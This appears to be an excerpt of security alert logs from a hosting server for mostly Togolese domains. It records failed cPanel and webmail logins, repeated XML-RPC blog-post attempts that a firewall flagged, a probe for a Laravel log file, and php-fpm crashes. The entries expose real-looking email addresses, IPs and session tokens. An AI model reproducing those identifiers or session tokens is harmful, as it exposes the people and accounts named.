# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 08:21:16 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50656: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:23:29 ns5 kernel: php-fpm[2313342]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:24:02 ns5 kernel: php-fpm[2313475]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.3
country_id: 6252001
description:
205.169.39.3 - - [01/Jul/2026:08:24:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815404&pdata=http%253A%252F%252Fwww.boutique.cafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782894284 HTTP/1.1" 302 0 www.boutique.cafe.tg "http://www.boutique.cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.3


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.70.76
country_id: 2363686
description:
[2026-07-01 08:26:56 +0000] info [cpaneld] 80.248.70.76 NEW cfpjusti:opcTTL3SitWpkfQc address=80.248.70.76,app=cpaneld,creator=cfpjusti,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 08:26:40 +0000] info [cpaneld] 52.200.114.158 - lxsenjdd "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:68760.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a8998abb50344e816657c6ec846c94912f65ae9||Title:0x22ce69a5||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:28:35 ns5 kernel: php-fpm[2315352]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 08:28:55 +0000] info [cpaneld] 52.200.114.158 - kwbcfbmo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:29:06 ns5 kernel: php-fpm[2315614]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - cfpj@cfpj.tg [07/01/2026:08:29:26 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: cfpj@cfpj.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.191.252.148
country_id: 1562822
description:
14.191.252.148 - - [01/Jul/2026:08:29:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250647&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-16411tetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782894544 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-16411tetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.191.252.148


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:203fbf5a8048bcfdf6a09fb63957ea0e8b46ac11||Title:0xe9fb83f0||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-07-01 08:29:57 +0000] info [webmaild] 196.170.66.202 - wiyao.g@inger.tg "GET /cpsess7746238240/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.106.170] != Current IP Address [196.170.66.202]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a5f277fc3b649140fa9271acdb0a873c3c7e11cd||Title:0x5c43f528||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:31:58 ns5 kernel: php-fpm[2317981]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ac83dde2b9038a581aeb2dbe18ec1f8ed2b9d5fa||Title:0x3ff949f6||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:32:28 ns5 kernel: php-fpm[2318067]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:312e901c6d9a13466aa7722e3b9152ee80ba40dd||Title:0x3e08877a||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e62324ab9b171c12b48e3b1356bb1da13834c45e||Title:0x3159d5da||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.136.82
country_id: 2363686
description:
[2026-07-01 08:33:06 +0000] info [webmaild] 196.168.136.82 - k "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user k (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 08:33:17 +0000] info [webmaild] 160.242.195.10 - tawade@caissederetraites. "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.168.186.230
country_id: 1643084
description:
103.168.186.230 - - [01/Jul/2026:08:33:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6856295&pdata=https%253A%252F%252Fcfpj.tg%252Fnwyj-128344witems%252Fetidm48in.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782894809 HTTP/1.1" 404 561 cfpj.tg "https://cfpj.tg/nwyj-128344witems/etidm48in.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.168.186.230


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0cf8438783945de79a37d14e14c2dced2718fe3b||Title:0x6487cd0d||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 08:35:02 +0000] info [webmaild] 160.242.195.10 - tawade@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea9c372c22bca7bf3c16e0117dbc52cb3bce644b||Title:0x5bf6e866||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 08:35:25 +0000] info [webmaild] 160.242.195.10 - tawade@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.210.141.216
country_id: 226074
description:
[2026-07-01 08:36:20 +0000] info [cpaneld] 41.210.141.216 NEW pnls:vWVTCpeBXMXTgfj0 address=41.210.141.216,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:605bdee2e8432f84bc73a68fd8d4f657ba02cca0||Title:0x6c450406||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.210.141.216
country_id: 226074
description:
[2026-07-01 08:36:09 +0000] info [cpaneld] 41.210.141.216 - pnls "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [105.21.66.86] != Current IP Address [41.210.141.216]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 08:36:23 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45618: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.172
country_id: 1880251
description:
43.172.198.172 - - [01/Jul/2026:08:36:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078151&pdata=https%253A%252F%252Fwww.arse.tg%252Fmediatheque%252Fphototheque%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782894996 HTTP/1.1" 404 561 www.arse.tg "https://www.arse.tg/mediatheque/phototheque/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.172


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [01/Jul/2026:08:37:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867867&pdata=http%253A%252F%252Fmail.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782895044 HTTP/1.1" 302 0 mail.belali.tg "http://mail.belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b826fb00e2ca9c1756b764c78bd683cde6ec49f9||Title:0xd27eab3b||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.14.47
country_id: 3469034
description:
Jul  1 08:37:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.14.47 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22c51bf687c24cde420665ac4bd521c4a0c15233||Title:0xf64a2f77||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.243.186
country_id: 3017382
domain: cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:cloudetracks||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.242.195.10
country_id: 2363686
description:
160.242.195.10 - - [01/Jul/2026:08:38:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053270&pdata=https%253A%252F%252Fwww.caissederetraites.tg%253A2096%252F%253Flocale%253Dfr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782895092 HTTP/2.0" 302 0 www.caissederetraites.tg "https://www.caissederetraites.tg:2096/?locale=fr" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.242.195.10


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a4c8d97e389d9151e7f3be62bfee4bd0da9c4438||Title:jz9hvw9kc819wn||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 08:38:32 +0000] info [cpaneld] 52.200.114.158 - enadamso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:43ace26edc3bb91b991b767175ea57810c3d8442||Title:0xd9f09cbf||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:86455850d913fa9b1941ce68270dd1dd88dfb6de||Title:5qdoril5hoqw3vm9||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-07-01 08:39:41 +0000] info [cpaneld] 168.144.35.224 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 08:39:57 +0000] info [webmaild] 160.242.195.10 - tawade@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b3752180689ce57a2626dba7a4a26438b4e45891||Title:0xa12acffd||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 08:40:09 +0000] info [webmaild] 160.242.195.10 - tawade@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:16b31d163f1893af1b50f2fe1c30c27b81a3db33||Title:ovx1ab1r0opw41||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.233.179
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.147.233.179||TA:45.147.233.179||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e54e6e9269ef4feee775ec4c50971e727eebaea0||Title:0xf2e2ac8d||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ab64819f5f6671f3b81fa74a297878712b54d05e||Title:3zx5rif960szudk6||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b1f8c94b5146d12cbcb00eb0f49ec00a42e7e52b||Title:0x06e44d56||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a53ff930b50943747e5c033b4d87c36ac37b99c2||Title:0wsa8d5h46crry||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e1e0ca599945ab5975f477765f06a4445c20dbb1||Title:0xe73ac9d1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [01/Jul/2026:08:43:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868950&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsos-village-denfants-international-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782895409 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sos-village-denfants-international-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c1fa648d874a48b44e49e0220de944ade8821c7e||Title:67oz1jezarofjmy4||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.153.164
country_id: 2363686
description:
[2026-07-01 08:44:57 +0000] info [webmaild] 102.64.153.164 - tchedye.d@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c61b7dc5c5909e016b7faac12f1f92009bd91b28||Title:toih70t5666b4t2||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8c8871cddcb5cd7d519a63c73f4a69f057f5ce5||Title:0x320adaaa||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 08:44:30 +0000] info [webmaild] 160.242.195.10 - sadedjouma@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96361f7ac1c92750c2e00b7f09e3b732430de15b||Title:0xd1833783||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5423e515a89b199b1741a7ea947673c469658404||Title:iioiaarhe5mkw9u||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:46:31 ns5 kernel: php-fpm[2325170]: segfault at 7ffd4871cf30 ip 0000000000729c3b sp 00007ffd4871cf20 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9743356cc577027c6a80723f14e36b31462ab506||Title:0x0c06c5c0||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.112.215
country_id: 2363686
description:
[2026-07-01 08:46:37 +0000] info [webmaild] 196.168.112.215 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74ab21dc4ed11680245a11ee1533f06bcc643231||Title:quoqrgapt0cpbbs||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.157.48.80
country_id: 1643084
description:
[2026-07-01 08:46:03 +0000] info [cpaneld] 103.157.48.80 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11011
name: WHM SSO login failed
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-07-01 08:47:53 +0000] info [whostmgrd] 80.248.64.198 PURGE root:aRj56tvmDVVpMeRb badpass [cookie ip check: IP address has changed: IP Address [158.173.157.163] != Current IP Address [80.248.64.198]]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ab4c91ee2825b16547da4029d2c4a9d40d27c391||Title:0xd93d3c06||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aee9ddb6956fb142e10fd69696e516af1c89c2bc||Title:qx8s9a7m4etkae||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-07-01 08:47:44 +0000] info [whostmgrd] 80.248.64.198 - root "GET /cpsess5579469439/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [158.173.157.163] != Current IP Address [80.248.64.198]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:48:31 ns5 kernel: php-fpm[2326039]: segfault at 7ffd4871cf30 ip 0000000000729c3b sp 00007ffd4871cf20 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f76c209e3462f9026f199e6109cadde76884ae6||Title:sefwfb9c4nf5e2||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:85727dc115b8e6fe83ba424592edff4eda47a455||Title:0x25df5a5d||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ddf73416f70f3b3170af53a5a0389ee2870629fc||Title:0x036831c7||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0ca949da183993e0d532c3c5313bb45f47e84777||Title:w7kpxzlr6895kq9y||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
